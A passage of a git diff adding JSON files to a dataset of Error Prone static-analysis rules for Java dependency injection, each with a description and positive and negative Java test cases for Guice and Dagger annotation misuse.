"negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\nimport com.google.inject.Provides;\nimport com.google.inject.Singleton;\nimport com.google.inject.servlet.SessionScoped;\nimport dagger.Component;\nimport dagger.Subcomponent;\nimport dagger.producers.ProductionComponent;\nimport dagger.producers.ProductionSubcomponent;\n\n/**\n * @author sgoldfeder@google.com(Steven Goldfeder)\n */\npublic class MoreThanOneScopeAnnotationOnClassNegativeCases {\n\n /** Class has no annotation. */\n public class TestClass1 {}\n\n /** Class has a single non scoping annotation. */\n @SuppressWarnings(\"foo\")\n public class TestClass2 {}\n\n /** Class hasa single scoping annotation. */\n @Singleton\n public class TestClass3 {}\n\n /** Class has two annotations, one of which is a scoping annotation. */\n @Singleton\n @SuppressWarnings(\"foo\")\n public class TestClass4 {}\n\n /**\n * Class has two annotations, one of which is a scoping annotation. Class also has a method with a\n * scoping annotation.\n */\n @SuppressWarnings(\"foo\")\n public class TestClass5 {\n @Singleton\n @Provides\n public void foo() {}\n }\n\n /** Class has two scoped annotations, but is a Dagger component */\n @Singleton\n @SessionScoped\n @Component\n public class DaggerComponent {}\n\n /** Class has two scoped annotations, but is a Dagger subcomponent */\n @Singleton\n @SessionScoped\n @Subcomponent\n public class DaggerSubcomponent {}\n\n /** Class has two scoped annotations, but is a Dagger component */\n @Singleton\n @SessionScoped\n @ProductionComponent\n public class DaggerProductionComponent {}\n\n /** Class has two scoped annotations, but is a Dagger subcomponent */\n @Singleton\n @SessionScoped\n @ProductionSubcomponent\n public class DaggerProductionSubcomponent {}\n\n /** Suppression through secondary name */\n @SuppressWarnings(\"MoreThanOneScopeAnnotationOnClass\")\n public class TestClass6 {}\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/OverlappingQualifierAndScopeAnnotation.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/OverlappingQualifierAndScopeAnnotation.json new file mode 100644 index 0000000..1eb43b9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/OverlappingQualifierAndScopeAnnotation.json @@ -0,0 +1,30 @@ +{ + "name": "OverlappingQualifierAndScopeAnnotation", + "language": "java", + "description": "Annotations cannot be both Scope annotations and Qualifier annotations: this causes confusion when trying to use them.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 54, + "branches": 1, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n /**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\n public class OverlappingQualifierAndScopeAnnotationPositiveCases {\n\n @javax.inject.Scope\n @javax.inject.Qualifier\n // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation\n @interface JavaxScopeAndJavaxQualifier {}\n\n @com.google.inject.ScopeAnnotation\n @javax.inject.Qualifier\n // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation\n @interface GuiceScopeAndJavaxQualifier {}\n\n @com.google.inject.ScopeAnnotation\n @com.google.inject.BindingAnnotation\n // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation\n @interface GuiceScopeAndGuiceBindingAnnotation {}\n\n @javax.inject.Scope\n @com.google.inject.BindingAnnotation\n // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation\n @interface JavaxScopeAndGuiceBindingAnnotation {}\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n /**\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\n public class OverlappingQualifierAndScopeAnnotationNegativeCases {\n\n @javax.inject.Scope\n @interface MyJavaxScope {}\n\n @com.google.inject.ScopeAnnotation\n @interface MyGuiceScope {}\n\n @javax.inject.Qualifier\n @interface MyJavaxQualifier {}\n\n @com.google.inject.BindingAnnotation\n @interface MyGuiceBindingAnnotation {}\n\n // suppression tests\n @SuppressWarnings(\"OverlappingQualifierAndScopeAnnotation\")\n @javax.inject.Scope\n @javax.inject.Qualifier\n @interface JavaxScopeAndJavaxQualifier {}\n\n @SuppressWarnings(\"OverlappingQualifierAndScopeAnnotation\")\n @com.google.inject.ScopeAnnotation\n @javax.inject.Qualifier\n @interface GuiceScopeAndJavaxQualifier {}\n\n @SuppressWarnings(\"OverlappingQualifierAndScopeAnnotation\")\n @com.google.inject.ScopeAnnotation\n @com.google.inject.BindingAnnotation\n @interface GuiceScopeAndGuiceBindingAnnotation {}\n\n @SuppressWarnings(\"OverlappingQualifierAndScopeAnnotation\")\n @javax.inject.Scope\n @com.google.inject.BindingAnnotation\n @interface JavaxScopeAndGuiceBindingAnnotation {}\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/QualifierOrScopeOnInjectMethod.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/QualifierOrScopeOnInjectMethod.json new file mode 100644 index 0000000..44be0f2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/QualifierOrScopeOnInjectMethod.json @@ -0,0 +1,38 @@ +{ + "name": "QualifierOrScopeOnInjectMethod", + "language": "java", + "description": "Qualifiers/Scope annotations on @Inject methods don't have any effect. Move the qualifier annotation to the binding location.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 92, + "branches": 6, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "import javax.inject.Inject;\n import javax.inject.Named;\n\n class Foo {\n @Inject\n // BUG: Diagnostic contains: remove\n @Named(\"bar\")\n void someMethod() {}\n }" + }, + { + "description": "positiveCase_injectConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 55 + ], + "code": "import javax.inject.Inject;\n import javax.inject.Named;\n import javax.inject.Singleton;\n\n class Foo {\n @Inject\n @Singleton\n @Named(\"bar\")\n Foo() {}\n }\n \n\n import javax.inject.Inject;\n import javax.inject.Named;\n import javax.inject.Singleton;\n\n @Singleton\n class Foo {\n @Inject\n Foo() {}\n }" + }, + { + "description": "negativeNotInject", + "expected-problems": null, + "expected-linenumbers": [ + 88 + ], + "code": "import dagger.Provides;\n import dagger.Module;\n import javax.inject.Named;\n\n @Module\n class Foo {\n @Provides\n @Named(\"bar\")\n int something() {\n return 42;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/QualifierWithTypeUse.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/QualifierWithTypeUse.json new file mode 100644 index 0000000..c2d0fac --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/QualifierWithTypeUse.json @@ -0,0 +1,30 @@ +{ + "name": "QualifierWithTypeUse", + "language": "java", + "description": "Injection frameworks currently don't understand Qualifiers in TYPE_PARAMETER or TYPE_USE contexts.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 95, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import com.google.inject.BindingAnnotation;\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Target;\n import javax.inject.Qualifier;\n\n /** Tests for {@code QualifierWithTypeUse} */\n public class QualifierWithTypeUsePositiveCases {\n\n @Qualifier\n // BUG: Diagnostic contains: @Target({CONSTRUCTOR})\n @Target({ElementType.TYPE_USE, ElementType.CONSTRUCTOR})\n @interface Qualifier1 {}\n\n @Qualifier\n // BUG: Diagnostic contains: remove\n @Target({ElementType.TYPE_USE, ElementType.TYPE_PARAMETER})\n @interface Qualifier2 {}\n\n @BindingAnnotation\n // BUG: Diagnostic contains: @Target({FIELD})\n @Target({ElementType.FIELD, ElementType.TYPE_USE})\n @interface BindingAnnotation1 {}\n\n @BindingAnnotation\n // BUG: Diagnostic contains: remove\n @Target({ElementType.TYPE_USE, ElementType.TYPE_PARAMETER})\n @interface BindingAnnotation2 {}\n\n @BindingAnnotation\n // BUG: Diagnostic contains: remove\n @Target(ElementType.TYPE_USE)\n @interface BindingAnnotation3 {}\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 78 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Target;\n import javax.inject.Qualifier;\n\n /** Tests for {@code QualifierWithTypeUse} */\n public class QualifierWithTypeUseNegativeCases {\n\n @Qualifier\n @Target({ElementType.CONSTRUCTOR})\n @interface Qualifier1 {}\n\n @Target({ElementType.TYPE_USE, ElementType.TYPE_PARAMETER})\n @interface NotAQualifier {}\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/ScopeAnnotationOnInterfaceOrAbstractClass.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/ScopeAnnotationOnInterfaceOrAbstractClass.json new file mode 100644 index 0000000..48bbcef --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/ScopeAnnotationOnInterfaceOrAbstractClass.json @@ -0,0 +1,30 @@ +{ + "name": "ScopeAnnotationOnInterfaceOrAbstractClass", + "language": "java", + "description": "Scope annotation on an interface or abstract class is not allowed", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 74, + "branches": 2, + "apis": 3, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\nimport com.google.inject.Singleton;\n\n/**\n * Positive test cases in which a scoping annotation is put on an interface or anabstract class. The\n * suggested fix is to remove the scoping annotation.\n *\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\npublic class ScopeAnnotationOnInterfaceOrAbstractClassPositiveCases {\n\n /** An abstract class that has scoping annotation. */\n // BUG: Diagnostic contains: remove\n @Singleton\n public abstract class TestClass1 {}\n\n /** An interface interface has scoping annotation. */\n // BUG: Diagnostic contains: remove\n @Singleton\n public interface TestClass2 {}\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "package com.google.errorprone.bugpatterns.inject.testdata;\n\n import com.google.inject.Singleton;\n import dagger.Component;\n import dagger.Subcomponent;\n import javax.inject.Scope;\n\n /**\n * Negative test cases in which scoping annotations are used correctly.\n *\n * @author sgoldfeder@google.com (Steven Goldfeder)\n */\n public class ScopeAnnotationOnInterfaceOrAbstractClassNegativeCases {\n\n /** A concrete class that has no scoping annotation. */\n public class TestClass1 {}\n\n /** An abstract class that has no scoping annotation. */\n public abstract class TestClass2 {}\n\n /** An interface that has no scoping annotation. */\n public interface TestClass3 {}\n\n /** A concrete class that has scoping annotation. */\n @Singleton\n public class TestClass4 {}\n\n @Scope\n @interface CustomScope {}\n\n /** A concrete class that has a custom annotation. */\n @CustomScope\n public class ClassWithCustomScope {}\n\n @Component\n @Singleton\n interface DaggerInterfaceComponent {\n @Subcomponent\n @CustomScope\n abstract class DaggerAbstractClassSubcomponent {}\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/AndroidInjectionBeforeSuper.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/AndroidInjectionBeforeSuper.json new file mode 100644 index 0000000..876e4a9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/AndroidInjectionBeforeSuper.json @@ -0,0 +1,30 @@ +{ + "name": "AndroidInjectionBeforeSuper", + "language": "java", + "description": "AndroidInjection.inject() should always be invoked before calling super.lifecycleMethod()", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 149, + "branches": 7, + "apis": 10, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "package com.google.errorprone.bugpatterns.inject.dagger.testdata;\n\n import android.app.Activity;\n import android.app.Fragment;\n import android.app.Service;\n import android.content.Context;\n import android.content.Intent;\n import android.os.Bundle;\n import android.os.IBinder;\n import dagger.android.AndroidInjection;\n\n final class AndroidInjectionBeforeSuperPositiveCases {\n public class WrongOrder extends Activity {\n @Override\n public void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n // BUG: Diagnostic contains: AndroidInjectionBeforeSuper\n AndroidInjection.inject(this);\n }\n }\n\n public class StatementsInBetween extends Activity {\n @Override\n public void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n System.out.println(\"hello, world\");\n // BUG: Diagnostic contains: AndroidInjectionBeforeSuper\n AndroidInjection.inject(this);\n }\n }\n\n public static class BaseActivity extends Activity {}\n\n public class ExtendsBase extends BaseActivity {\n @Override\n public void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n // BUG: Diagnostic contains: AndroidInjectionBeforeSuper\n AndroidInjection.inject(this);\n }\n }\n\n public class WrongOrderFragmentPreApi23 extends Fragment {\n @Override\n public void onAttach(Activity activity) {\n super.onAttach(activity);\n // BUG: Diagnostic contains: AndroidInjectionBeforeSuper\n AndroidInjection.inject(this);\n }\n }\n\n public class WrongOrderFragment extends Fragment {\n @Override\n public void onAttach(Context context) {\n super.onAttach(context);\n // BUG: Diagnostic contains: AndroidInjectionBeforeSuper\n AndroidInjection.inject(this);\n }\n }\n\n public class WrongOrderService extends Service {\n @Override\n public void onCreate() {\n super.onCreate();\n // BUG: Diagnostic contains: AndroidInjectionBeforeSuper\n AndroidInjection.inject(this);\n }\n\n @Override\n public IBinder onBind(Intent intent) {\n return null;\n }\n }\n }\\\n \n\npackage dagger.android;\n\nimport android.app.Activity;\nimport android.app.Fragment;\nimport android.app.Service;\n\n/**\n * Stub class for {@code dagger.android.AndroidInjection}. ErrorProne isn't an Android project and\n * can't depend on an {@code .aar} in Maven, so this is provided as a stub for testing.\n */\npublic final class AndroidInjection {\n public static void inject(Activity activity) {}\n\n public static void inject(Fragment fragment) {}\n\n public static void inject(Service service) {}\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 197 + ], + "code": "package com.google.errorprone.bugpatterns.inject.dagger.testdata;\n\n import android.app.Activity;\n import android.app.Fragment;\n import android.app.Service;\n import android.content.Intent;\n import android.os.Bundle;\n import android.os.IBinder;\n import dagger.android.AndroidInjection;\n\n final class AndroidInjectionBeforeSuperNegativeCases {\n public class CorrectOrder extends Activity {\n @Override\n public void onCreate(Bundle savedInstanceState) {\n AndroidInjection.inject(this);\n super.onCreate(savedInstanceState);\n }\n }\n\n public class StatementsInBetween extends Activity {\n @Override\n public void onCreate(Bundle savedInstanceState) {\n AndroidInjection.inject(this);\n System.out.println(\"hello, world\");\n super.onCreate(savedInstanceState);\n }\n }\n\n public static class BaseActivity extends Activity {}\n\n public class ExtendsBase extends BaseActivity {\n @Override\n public void onCreate(Bundle savedInstanceState) {\n AndroidInjection.inject(this);\n super.onCreate(savedInstanceState);\n }\n }\n\n public static class Foo {\n public void onCreate(Bundle bundle) {}\n }\n\n public class FooActivity extends Activity {\n @Override\n public void onCreate(Bundle savedInstanceState) {\n new Foo().onCreate(savedInstanceState);\n AndroidInjection.inject(this);\n super.onCreate(savedInstanceState);\n }\n }\n\n public abstract class ActivityWithAbstractOnCreate extends Activity {\n @Override\n public void onCreate(Bundle savedInstanceState) {}\n\n public abstract void onCreate(Bundle savedInstanceState, boolean bar);\n }\n\n public class CorrectOrderFragment extends Fragment {\n @Override\n public void onAttach(Activity activity) {\n AndroidInjection.inject(this);\n super.onAttach(activity);\n }\n }\n\n public class CorrectOrderService extends Service {\n @Override\n public void onCreate() {\n AndroidInjection.inject(this);\n super.onCreate();\n }\n\n @Override\n public IBinder onBind(Intent intent) {\n return null;\n }\n }\n }\\\n \n\npackage dagger.android;\n\nimport android.app.Activity;\nimport android.app.Fragment;\nimport android.app.Service;\n\n/**\n * Stub class for {@code dagger.android.AndroidInjection}. ErrorProne isn't an Android project and\n * can't depend on an {@code .aar} in Maven, so this is provided as a stub for testing.\n */\npublic final class AndroidInjection {\n public static void inject(Activity activity) {}\n\n public static void inject(Fragment fragment) {}\n\n public static void inject(Service service) {}\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/EmptySetMultibindingContributions.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/EmptySetMultibindingContributions.json new file mode 100644 index 0000000..d6d2a94 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/EmptySetMultibindingContributions.json @@ -0,0 +1,22 @@ +{ + "name": "EmptySetMultibindingContributions", + "language": "java", + "description": "@Multibinds is a more efficient and declarative mechanism for ensuring that a set multibinding is present in the graph.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 202, + "branches": 12, + "apis": 2, + "test": [ + { + "description": "elementsIntoSetMethod_emptySet", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "import dagger.Module;\n import dagger.Provides;\n import dagger.multibindings.ElementsIntoSet;\n import dagger.multibindings.Multibinds;\n import java.util.Set;\n\n @Module\n abstract class Test {\n @Multibinds\n abstract Set provideEmpty();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/PrivateConstructorForNoninstantiableModule.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/PrivateConstructorForNoninstantiableModule.json new file mode 100644 index 0000000..39638ef --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/PrivateConstructorForNoninstantiableModule.json @@ -0,0 +1,78 @@ +{ + "name": "PrivateConstructorForNoninstantiableModule", + "language": "java", + "description": "Add a private constructor to modules that will not be instantiated by Dagger.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 87, + "branches": 8, + "apis": 1, + "test": [ + { + "description": "emptyModuleGetsLeftAlone", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "import dagger.Module;\n\n @Module\n class Test {}" + }, + { + "description": "onlyStaticMethods", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "import dagger.Module;\n import dagger.Provides;\n\n @Module\n final class TestModule {\n @Provides\n static String provideString() {\n return \"\";\n }\n\n @Provides\n static Integer provideInteger() {\n return 1;\n }\n }\n \n\n import dagger.Module;\n import dagger.Provides;\n\n @Module\n final class TestModule {\n @Provides\n static String provideString() {\n return \"\";\n }\n\n @Provides\n static Integer provideInteger() {\n return 1;\n }\n\n private TestModule() {}\n }" + }, + { + "description": "onlyStaticMethods_withConstructorGetsLeftAlone", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "import dagger.Module;\n import dagger.Provides;\n\n @Module\n final class TestModule {\n @Provides\n static String provideString() {\n return \"\";\n }\n\n @Provides\n static Integer provideInteger() {\n return 1;\n }\n\n private TestModule() {}\n }" + }, + { + "description": "abstractClassWithStaticAndAbstractMethods", + "expected-problems": null, + "expected-linenumbers": [ + 121 + ], + "code": "import dagger.Binds;\n import dagger.Module;\n import dagger.Provides;\n\n @Module\n abstract class TestModule {\n @Provides\n static String provideString() {\n return \"\";\n }\n\n @Binds\n abstract Object bindObject(String string);\n\n @Provides\n static Integer provideInteger() {\n return 1;\n }\n\n @Binds\n abstract Number bindNumber(Integer integer);\n }\n \n\n import dagger.Binds;\n import dagger.Module;\n import dagger.Provides;\n\n @Module\n abstract class TestModule {\n @Provides\n static String provideString() {\n return \"\";\n }\n\n @Binds\n abstract Object bindObject(String string);\n\n @Provides\n static Integer provideInteger() {\n return 1;\n }\n\n @Binds\n abstract Number bindNumber(Integer integer);\n\n private TestModule() {}\n }" + }, + { + "description": "abstractClassWithStaticAndAbstractMethods_withConstructorGetsLeftAlone", + "expected-problems": null, + "expected-linenumbers": [ + 181 + ], + "code": "import dagger.Binds;\n import dagger.Module;\n import dagger.Provides;\n\n @Module\n abstract class TestModule {\n @Provides\n static String provideString() {\n return \"\";\n }\n\n @Binds\n abstract Object bindObject(String string);\n\n @Provides\n static Integer provideInteger() {\n return 1;\n }\n\n @Binds\n abstract Number bindNumber(Integer integer);\n\n private TestModule() {}\n }" + }, + { + "description": "onlyAbstractMethods", + "expected-problems": null, + "expected-linenumbers": [ + 216 + ], + "code": "import dagger.Binds;\n import dagger.Module;\n\n @Module\n abstract class TestModule {\n @Binds\n abstract Object bindObject(String string);\n\n @Binds\n abstract Number bindNumber(Integer integer);\n }\n \n\n import dagger.Binds;\n import dagger.Module;\n\n @Module\n abstract class TestModule {\n @Binds\n abstract Object bindObject(String string);\n\n @Binds\n abstract Number bindNumber(Integer integer);\n\n private TestModule() {}\n }" + }, + { + "description": "onlyAbstractMethods_withConstructorGetsLeftAlone", + "expected-problems": null, + "expected-linenumbers": [ + 254 + ], + "code": "import dagger.Binds;\n import dagger.Module;\n\n @Module\n abstract class TestModule {\n @Binds\n abstract Object bindObject(String string);\n\n @Binds\n abstract Number bindNumber(Integer integer);\n\n private TestModule() {}\n }" + }, + { + "description": "interfaceModuleGetsLeftAlone", + "expected-problems": null, + "expected-linenumbers": [ + 278 + ], + "code": "import dagger.Binds;\n import dagger.Module;\n\n @Module\n interface TestModule {\n @Binds\n Object bindObject(String string);\n\n @Binds\n Number bindNumber(Integer integer);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/ProvidesNull.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/ProvidesNull.json new file mode 100644 index 0000000..f1faa51 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/ProvidesNull.json @@ -0,0 +1,94 @@ +{ + "name": "ProvidesNull", + "language": "java", + "description": "Dagger @Provides methods may not return null unless annotated with @Nullable", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 96, + "branches": 14, + "apis": 4, + "test": [ + { + "description": "simple", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "import dagger.Provides;\n\npublic class Test {\n @Provides\n public Object providesObject() {\n // BUG: Diagnostic contains: Did you mean '@Nullable' or 'throw new RuntimeException();'\n return null;\n }\n}" + }, + { + "description": "hasJavaxAnnotationNullable", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "import dagger.Provides;\n import javax.annotation.Nullable;\n\n public class Test {\n @Provides\n @Nullable\n public Object providesObject() {\n return null;\n }\n }" + }, + { + "description": "hasOtherNullable", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "import dagger.Provides;\n\n public class Test {\n @Provides\n @Nullable\n public Object providesObject() {\n return null;\n }\n }" + }, + { + "description": "hasTypeUseNullableOnMethod", + "expected-problems": null, + "expected-linenumbers": [ + 91 + ], + "code": "import dagger.Provides;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class Test {\n @Provides\n @Nullable\n public Object providesObject() {\n return null;\n }\n }" + }, + { + "description": "hasTypeUseNullableOnReturnType", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "import dagger.Provides;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class Test {\n @Provides\n public @Nullable Object providesObject() {\n return null;\n }\n }" + }, + { + "description": "guiceProvides", + "expected-problems": null, + "expected-linenumbers": [ + 134 + ], + "code": "import com.google.inject.Provides;\n\n public class Test {\n @Provides\n public Object providesObject() {\n return null;\n }\n }" + }, + { + "description": "inCatch", + "expected-problems": null, + "expected-linenumbers": [ + 152 + ], + "code": "import java.io.IOException;\nimport dagger.Provides;\n\npublic class Test {\n @Provides\n public Object providesObject() {\n try {\n return new Object();\n } catch (Exception e) {\n // BUG: Diagnostic contains: Did you mean 'throw new RuntimeException(e);' or '@Nullable'\n return null;\n }\n }\n}" + }, + { + "description": "inTry", + "expected-problems": null, + "expected-linenumbers": [ + 176 + ], + "code": "import dagger.Provides;\n\npublic class Test {\n @Provides\n public Object providesObject() {\n try {\n // BUG: Diagnostic contains: Did you mean '@Nullable' or 'throw new RuntimeException();'\n return null;\n } catch (Exception e) {\n return new Object();\n }\n }\n}" + }, + { + "description": "returnWithNoExpression", + "expected-problems": null, + "expected-linenumbers": [ + 199 + ], + "code": "import dagger.Provides;\n\n public class Test {\n public void doNothing() {\n return;\n }\n }" + }, + { + "description": "hasOtherTypeUseNullable", + "expected-problems": null, + "expected-linenumbers": [ + 216 + ], + "code": "import static java.lang.annotation.ElementType.TYPE_USE;\n import java.lang.annotation.Target;\n\n @Target(TYPE_USE)\n public @interface Nullable {}\n \n\n import dagger.Provides;\n\n public class Test {\n @Provides\n @Nullable\n public Object providesObject() {\n return null;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/RefersToDaggerCodegen.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/RefersToDaggerCodegen.json new file mode 100644 index 0000000..343c472 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/RefersToDaggerCodegen.json @@ -0,0 +1,20 @@ +{ + "name": "RefersToDaggerCodegen", + "language": "java", + "description": "Don't refer to Dagger's internal or generated code", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 106, + "branches": 11, + "apis": 3, + "test": [ + { + "description": null, + "expected-problems": null, + "expected-linenumbers": [], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/ScopeOnModule.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/ScopeOnModule.json new file mode 100644 index 0000000..a5551bc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/ScopeOnModule.json @@ -0,0 +1,46 @@ +{ + "name": "ScopeOnModule", + "language": "java", + "description": "Scopes on modules have no function and will soon be an error.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 53, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "removeScope", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import dagger.Module;\n import dagger.Provides;\n import javax.inject.Singleton;\n\n @Module\n @Singleton\n class Test {\n @Provides\n @Singleton\n Object provideObject() {\n return new Object();\n }\n }\n \n\n import dagger.Module;\n import dagger.Provides;\n import javax.inject.Singleton;\n\n @Module\n class Test {\n @Provides\n @Singleton\n Object provideObject() {\n return new Object();\n }\n }" + }, + { + "description": "customScope", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "import dagger.Module;\n import dagger.Provides;\n import javax.inject.Scope;\n\n @Module\n @Test.MyScope\n class Test {\n @Scope\n @interface MyScope {}\n\n @Provides\n @MyScope\n Object provideObject() {\n return new Object();\n }\n }\n \n\n import dagger.Module;\n import dagger.Provides;\n import javax.inject.Scope;\n\n @Module\n class Test {\n @Scope\n @interface MyScope {}\n\n @Provides\n @MyScope\n Object provideObject() {\n return new Object();\n }\n }" + }, + { + "description": "notAScope", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "import dagger.Module;\n import dagger.Provides;\n\n @Module\n @Test.NotAScope\n class Test {\n @interface NotAScope {}\n\n @Provides\n Object provideObject() {\n return new Object();\n }\n }" + }, + { + "description": "notAScope", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "import dagger.Module;\n import dagger.Provides;\n\n @Module\n @Test.NotAScope\n class Test {\n @interface NotAScope {}\n\n @Provides\n Object provideObject() {\n return new Object();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/UseBinds.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/UseBinds.json new file mode 100644 index 0000000..21f4350 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inject/dagger/UseBinds.json @@ -0,0 +1,78 @@ +{ + "name": "UseBinds", + "language": "java", + "description": "@Binds is a more efficient and declarative mechanism for delegating a binding.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 179, + "branches": 23, + "apis": 3, + "test": [ + { + "description": "staticProvidesMethod", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "" + }, + { + "description": "staticProvidesMethod_inInterface", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "" + }, + { + "description": "intoSetMethod", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "" + }, + { + "description": "instanceProvidesMethod", + "expected-problems": null, + "expected-linenumbers": [ + 134 + ], + "code": "" + }, + { + "description": "multipleBindsMethods", + "expected-problems": null, + "expected-linenumbers": [ + 160 + ], + "code": "" + }, + { + "description": "instanceProvidesMethodWithInstanceSibling", + "expected-problems": null, + "expected-linenumbers": [ + 191 + ], + "code": "" + }, + { + "description": "instanceProvidesMethodWithStaticSibling", + "expected-problems": null, + "expected-linenumbers": [ + 213 + ], + "code": "" + }, + { + "description": "notABindsMethod", + 